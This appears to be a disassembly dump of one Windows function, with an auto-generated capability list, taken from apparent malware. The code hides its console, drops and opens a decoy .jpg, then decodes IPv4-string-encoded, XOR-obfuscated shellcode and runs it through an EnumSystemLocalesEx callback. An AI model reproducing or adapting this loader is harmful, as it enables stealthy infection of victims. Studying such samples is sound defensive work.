Function at 0x140003180
Capabilities:
Convert ip address from string
Create process on windows
Encode data using xor
Get common file path
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x260
mov rax, qword [0x140073440]
xor rax, rsp
mov qword [rsp + 0x258], rax
xor r12d, r12d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov esi, 1
mov dword [rsp + 0x30], 0x10001
mov edx, dword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov qword [rsp + 0xd0], r12
lea r8, [rsp + 0xd0]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov qword [rsp + 0x38], rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x118], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x128], xmm1
mov r8d, 3
lea rdx, [0x14003c998]
lea rcx, [rsp + 0x118]
call fcn.140001040
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], rax
lea r8, [rsp + 0x118]
mov edx, 0x66
lea rcx, [rsp + 0x100]
call fcn.1400024c0
nop
mov edx, 0xf
lea rcx, [rsp + 0x88]
call fcn.140002240
mov rdi, rax
lea rdx, [rsp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x140003b33
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea rax, [rsp + 0x140]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400032d0
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x68]
call fcn.140001040
nop
mov r9, rdi
lea r8, [rsp + 0x68]
movzx edx, byte [rsp + 0x34]
lea rcx, [rsp + 0x48]
call fcn.140001750
nop
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140003346
lea rax, [rcx + 4]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x48]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x48]
mov dword [rax + rcx], 0x67706a2e
mov byte [rax + rcx + 4], 0
lea rax, [rsp + 0x48]
jmp 0x140003368
mov qword [rsp + 0x20], 4
lea r9, str..jpg
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x48]
call fcn.140001140
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe8], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400033e5
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003c04
movdqa xmm0, xmmword [0x14003ca30]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rsp + 0x80]
cmp rdx, 0xf
jbe 0x140003443
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003436
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003436
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003c04
movdqa xmm0, xmmword [0x14003ca30]
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x140003491
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003484
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003c04
movdqa xmm0, xmmword [0x14003ca30]
movdqu xmmword [rsp + 0x98], xmm0
mov byte [rsp + 0x88], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x140]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rdx, qword [rsp + 0xd8]
mov dword [rsp + 0x20], esi
mov r9d, 0x40
mov r8d, 0x22
lea rcx, [rsp + 0x140]
call fcn.140001540
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x140], rdi
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x13c], edx
mov r8, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x100]
sub r8, rdx
lea rcx, [rsp + 0x140]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x148]
call fcn.140002190
test rax, rax
jne 0x14000357b
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x140]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x140], rdi
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x13c], edx
lea rcx, [rsp + 0x148]
call fcn.140001b50
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r8, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova r8, qword [rsp + 0xd8]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x14000364d
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003648
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003648
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003c04
movdqa xmm0, xmmword [0x14003ca30]
movdqu xmmword [rsp + 0xe8], xmm0
mov byte [rsp + 0xd8], 0
mov rcx, qword [rsp + 0x100]
test rcx, rcx
je 0x1400036bf
mov rdx, qword [rsp + 0x110]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003c04
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x110], r12
mov rdx, qword [rsp + 0x130]
cmp rdx, 0xf
jbe 0x140003706
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003700
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003700
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003c04
nop
jmp 0x140003710
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x30], r12d
lea rax, str.34.61.230.139
mov qword [rsp + 0x38], rax
lea r13, [0x140073780]
mov r15d, 0x6680
movabs rdi, 0x7fffffffffffffff
lea r8, [rsp + 0xf8]
mov rdx, qword [rax]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x14000376f
mov ecx, dword [rsp + 0xf8]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x40], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xf0], r12
lea r14, [0x1400d9f80]
cmp qword [0x1400d9f98], 0xf
cmova r14, qword [0x1400d9f80]
mov rsi, qword [0x1400d9f90]
cmp rsi, rdi
ja 0x140003b2d
cmp rsi, 0xf
ja 0x1400037da
mov qword [rsp + 0xe8], rsi
mov ebx, 0xf
mov qword [rsp + 0xf0], rbx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0xd8], xmm0
movq rdi, xmm0
jmp 0x140003878
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
jbe 0x1400037f9
mov rbx, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000382a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003814
mov rdi, r12
jmp 0x140003851
cmp rcx, 0x1000
jb 0x140003849
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b5c
mov rcx, rax
call fcn.140003bc8
test rax, rax
je 0x140003b26
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003851
call fcn.140003bc8
mov rdi, rax
mov qword [rsp + 0xd8], rdi
mov qword [rsp + 0xe8], rsi
mov qword [rsp + 0xf0], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r14d, dword [rsp + 0x40]
mov ecx, dword [section..data]
test ecx, ecx
jle 0x14000391d
mov eax, 1
cdq
idiv esi
movsxd r8, edx
mov eax, 2
cdq
idiv esi
movsxd r9, edx
mov eax, 3
cdq
idiv esi
movsxd r10, edx
mov edx, ecx
nop
lea rax, [rsp + 0xd8]
cmp rbx, 0xf
cmova rax, rdi
movsx eax, byte [rax]
xor r14d, eax
lea rax, [rsp + 0xd8]
cmp rbx, 0xf
cmova rax, rdi
movsx eax, byte [rax + r8]
shl eax, 8
xor r14d, eax
lea rax, [rsp + 0xd8]
cmp rbx, 0xf
cmova rax, rdi
movsx eax, byte [rax + r9]
shl eax, 0x10
xor r14d, eax
lea rax, [rsp + 0xd8]
cmp rbx, 0xf
cmova rax, rdi
movsx eax, byte [rax + r10]
shl eax, 0x18
xor r14d, eax
sub rdx, 1
jne 0x1400038b0
cmp rbx, 0xf
jbe 0x140003954
lea rdx, [rbx + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000394c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b26
mov rcx, rdi
call fcn.140003c04
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0xd0], eax
mov esi, 0x16
mov ecx, esi
call fcn.140003c0c
mov rbx, rax
mov r9d, esi
mov r8, rax
lea rdx, [rsp + 0xd0]
mov ecx, 2
call sub.WS2_32.dll_inet_ntop
test rax, rax
cmove rbx, r12
movsxd rdi, dword [rsp + 0x30]
mov rcx, rdi
shl rcx, 4
add rcx, r13
mov r9d, 0x10
mov r8, rbx
mov edx, r9d
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy_s]
inc edi
mov dword [rsp + 0x30], edi
mov rax, qword [rsp + 0x38]
add rax, 8
mov qword [rsp + 0x38], rax
cmp edi, r15d
jb 0x140003739
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea rcx, str.Ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, str.HeapCreate
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.HeapAlloc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.CloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd0], rax
lea rdx, str.RtlIpv4StringToAddressA
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.EnumSystemLocalesEx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0xc8], r12
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call rsi
xor edx, edx
mov r8d, 0x100000
mov rcx, rax
call r14
mov rdi, rax
mov rbx, rax
mov esi, 0x6680
nop dword [rax]
nop word [rax + rax]
mov r9, rbx
lea r8, [rsp + 0xc8]
xor edx, edx
mov rcx, r13
call r15
add rbx, 4
add r13, 0x10
sub rsi, 1
jne 0x140003a90
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [rsp + 0x38]
mov edx, 0x66800
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call qword [rsp + 0xd0]
xor edx, edx
mov r8d, 0x33400
lea rcx, str.34.61.230.139
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov rcx, qword [rsp + 0x258]
xor rcx, rsp
call fcn.140003fc0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002170
nop
lea rdx, str.Erreur_lors_de_lobtention_du_chemin_du_r
lea rcx, [rsp + 0xb0]
call fcn.140001ae0
lea rdx, [0x14003dea0]
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140002110
int3